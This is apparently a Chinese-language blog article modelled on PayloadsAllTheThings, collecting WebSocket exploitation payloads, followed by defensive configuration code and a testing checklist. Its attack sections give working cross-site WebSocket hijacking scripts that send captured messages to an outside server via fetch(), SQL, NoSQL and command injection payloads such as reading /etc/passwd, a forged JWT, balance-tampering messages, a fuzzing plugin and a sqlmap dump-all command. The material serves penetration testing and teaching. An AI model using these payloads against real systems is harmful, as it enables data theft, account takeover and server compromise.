PayloadsAllTheThings WebSocket安全:WebSocket漏洞利用Payload
概述:WebSocket安全威胁全景图
WebSocket协议作为现代Web应用实时通信的核心技术,在带来高效双向通信的同时,也引入了独特的安全挑战。与传统HTTP请求不同,WebSocket的持久连接特性使得攻击面更加复杂和隐蔽。
WebSocket协议基础与安全机制
握手过程详解
WebSocket连接始于标准的HTTP升级请求,这一过程包含关键的安全验证点:
GET /chat HTTP/1.1
Host: vulnerable-app.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Origin: https://attacker.com
Sec-WebSocket-Protocol: chat, superchat
服务器响应包含安全验证:
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=
Sec-WebSocket-Protocol: chat
关键安全头部分析
| 头部字段 | 安全作用 | 常见漏洞 |
|---|---|---|
Origin | 源验证防止CSWSH | 验证缺失或宽松 |
Sec-WebSocket-Key | 握手随机数 | 随机性不足 |
Sec-WebSocket-Protocol | 子协议协商 | 协议混淆攻击 |
Sec-WebSocket-Version | 版本协商 | 版本降级攻击 |
WebSocket漏洞利用Payload大全
1. 跨站WebSocket劫持(CSWSH)Payload
基础劫持脚本:
<script>
// 基本CSWSH攻击
const ws = new WebSocket('wss://target.com/ws');
ws.onopen = () => {
ws.send(JSON.stringify({"action": "getUserData"}));
};
ws.onmessage = (event) => {
// 数据外泄到测试服务器
fetch(`https://test-server.com/log?data=${btoa(event.data)}`);
};
</script>
高级会话劫持:
// 会话完全控制
class WebSocketHijacker {
constructor(targetUrl) {
this.targetUrl = targetUrl;
this.messages = [];
this.isConnected = false;
}
connect() {
this.ws = new WebSocket(this.targetUrl);
this.ws.onopen = () => {
this.isConnected = true;
this.interceptMessages();
};
this.ws.onmessage = (event) => this.handleMessage(event);
this.ws.onclose = () => this.reconnect();
}
interceptMessages() {
// 发送测试指令
const payloads = [
'{"cmd": "listUsers"}',
'{"cmd": "exportData", "format": "json"}',
'{"cmd": "systemInfo"}'
];
payloads.forEach((payload, index) => {
setTimeout(() => this.ws.send(payload), index * 1000);
});
}
handleMessage(event) {
this.messages.push(event.data);
// 实时记录数据
this.logData(event.data);
}
logData(data) {
const formData = new FormData();
formData.append('data', data);
fetch('https://test-server.com/log', {
method: 'POST',
body: formData
});
}
reconnect() {
setTimeout(() => this.connect(), 5000);
}
}
// 使用示例
const hijacker = new WebSocketHijacker('wss://target.com/admin/ws');
hijacker.connect();
2. WebSocket注入攻击Payload
SQL注入Payload:
{
"userId": "1' UNION SELECT username, password FROM users--",
"action": "getProfile"
}
NoSQL注入Payload:
{
"query": {"$where": "this.isAdmin == true"},
"action": "findUsers"
}
OS命令注入Payload:
{
"filename": "test.txt; cat /etc/passwd",
"action": "readFile"
}
3. 认证绕过Payload
JWT令牌篡改:
{
"auth": {
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyLCJhZG1pbiI6dHJ1ZX0.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"
},
"action": "adminAccess"
}
会话固定攻击:
// 强制使用测试者控制的会话ID
const testSessionId = "test_controlled_session_123";
const ws = new WebSocket(`wss://target.com/ws?session=${testSessionId}`);
4. 业务逻辑漏洞Payload
权限提升:
{
"userId": "normal_user",
"targetUserId": "admin_user",
"action": "impersonate"
}
金额篡改:
{
"transaction": {
"amount": -1000000,
"currency": "USD",
"action": "transfer"
}
}
自动化测试工具与Payload生成
wsrepl高级使用示例
from wsrepl import Plugin
from wsrepl.WSMessage import WSMessage
import json
import requests
import base64
class AdvancedWebSocketTester(Plugin):
def __init__(self):
self.payloads = self.generate_payloads()
self.current_payload = 0
def generate_payloads(self):
"""生成全面的测试Payload"""
payloads = []
# SQL注入Payload
sql_payloads = [
"' OR 1=1--",
"'; DROP TABLE users--",
"UNION SELECT NULL, version()--"
]
# XSS Payload
xss_payloads = [
"<script>alert('XSS')</script>",
"javascript:alert(1)",
"onerror=alert`1`"
]
# 命令注入Payload
cmd_payloads = [
"; ls -la",
"| cat /etc/passwd",
"`id`"
]
return sql_payloads + xss_payloads + cmd_payloads
async def on_message_sent(self, message: WSMessage) -> None:
"""发送消息前处理"""
if self.current_payload < len(self.payloads):
payload = self.payloads[self.current_payload]
message.msg = json.dumps({
"input": payload,
"action": "process"
})
message.short = f"Payload {self.current_payload}: {payload}"
self.current_payload += 1
async def on_message_received(self, message: WSMessage) -> None:
"""接收消息后处理"""
try:
response = json.loads(message.msg)
if "error" in response:
message.short = f"ERROR: {response['error']}"
else:
message.short = f"SUCCESS: {response}"
except:
message.short = "Invalid JSON response"
ws-harness.py深度集成
# 使用自定义Payload文件
python ws-harness.py -u "wss://target.com/api" -m ./custom_payloads.txt
# 结合sqlmap进行自动化测试
sqlmap -u "http://127.0.0.1:8000/?fuzz=test" \
--level=5 --risk=3 \
--tamper=base64encode \
--dump-all \
--batch
自定义Payload文件示例(custom_payloads.txt):
{
"username": "[FUZZ]",
"password": "test123",
"action": "login"
}
防御机制与安全最佳实践
服务器端防护措施
// Node.js WebSocket服务器安全配置
const WebSocket = require('ws');
const wss = new WebSocket.Server({
port: 8080,
verifyClient: (info, callback) => {
// 验证Origin头
const origin = info.origin;
if (!isAllowedOrigin(origin)) {
callback(false, 403, 'Forbidden');
return;
}
// 验证CSRF令牌
const token = info.req.headers['x-csrf-token'];
if (!validateCSRFToken(token)) {
callback(false, 403, 'Invalid CSRF token');
return;
}
callback(true);
}
});
// 消息验证中间件
wss.on('connection', (ws, req) => {
ws.on('message', (message) => {
try {
const data = JSON.parse(message);
// 输入验证
if (!validateInput(data)) {
ws.send(JSON.stringify({error: 'Invalid input'}));
return;
}
// 业务逻辑处理
processMessage(data, ws);
} catch (error) {
ws.send(JSON.stringify({error: 'Invalid JSON'}));
}
});
});
客户端防护措施
<!-- 安全WebSocket实现 -->
<script>
// 安全的WebSocket连接工厂
class SecureWebSocket {
constructor(url, options = {}) {
this.url = url;
this.options = options;
this.ws = null;
this.reconnectAttempts = 0;
this.maxReconnectAttempts = 5;
}
connect() {
return new Promise((resolve, reject) => {
try {
this.ws = new WebSocket(this.url);
this.ws.onopen = () => {
this.reconnectAttempts = 0;
resolve(this.ws);
};
this.ws.onerror = (error) => {
reject(error);
};
this.ws.onclose = () => {
this.handleReconnection();
};
// 消息验证
this.ws.onmessage = (event) => {
this.validateMessage(event.data);
};
} catch (error) {
reject(error);
}
});
}
validateMessage(data) {
try {
const message = JSON.parse(data);
// 实施严格的消息验证
if (typeof message !== 'object') {
throw new Error('Invalid message format');
}
// 检查必要字段
const requiredFields = ['type', 'data', 'timestamp'];
for (const field of requiredFields) {
if (!(field in message)) {
throw new Error(`Missing required field: ${field}`);
}
}
// 处理验证通过的消息
this.handleValidMessage(message);
} catch (error) {
console.warn('Invalid WebSocket message:', error);
}
}
handleValidMessage(message) {
// 安全的消息处理逻辑
switch (message.type) {
case 'notification':
this.showNotification(message.data);
break;
case 'dataUpdate':
this.updateData(message.data);
break;
default:
console.warn('Unknown message type:', message.type);
}
}
handleReconnection() {
if (this.reconnectAttempts < this.maxReconnectAttempts) {
this.reconnectAttempts++;
setTimeout(() => this.connect(), 1000 * this.reconnectAttempts);
}
}
}
</script>
实战案例:WebSocket安全测试流程
测试流程示意图
完整测试检查表
| 测试类别 | 测试项目 | 风险等级 | 测试方法 |
|---|---|---|---|
| 握手安全 | Origin验证 | 高危 | 修改Origin头测试 |
| CSRF令牌保护 | 高危 | 移除令牌测试 | |
| 协议版本降级 | 中危 | 低版本协议测试 | |
| 消息安全 | SQL注入 | 高危 | SQL注入Payload |
| NoSQL注入 | 高危 | NoSQL操作符测试 | |
| XSS注入 | 中危 | 脚本Payload测试 | |
| 命令注入 | 高危 | 系统命令测试 | |
| 业务逻辑 | 权限绕过 | 高危 | 越权操作测试 |
| 数据篡改 | 高危 | 参数修改测试 | |
| 会话劫持 | 高危 | 会话ID预测测试 | |
| 客户端安全 | CSWSH | 高危 | 跨域连接测试 |
| 消息过滤 | 中危 | 恶意消息测试 |
总结与展望
WebSocket安全是一个持续演进的领域,随着实时Web应用的普及,新的攻击向量和防御技术不断涌现。安全团队需要:
- 持续监控:关注WebSocket协议的新漏洞和攻击技术
- 全面测试:采用自动化工具和手动测试相结合的方式
- 深度防御:在协议层、应用层、业务层实施多重防护
- 安全意识:提升开发团队对WebSocket安全的认识
通过本文提供的Payload和测试方法,安全研究人员可以系统性地评估WebSocket应用的安全性,发现并修复潜在的安全漏洞,构建更加安全的实时Web应用环境。
注意:本文提供的Payload仅用于安全测试和教育目的,请勿用于非法活动。在实际测试中,务必获得明确的授权,并遵守相关的法律法规。
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考



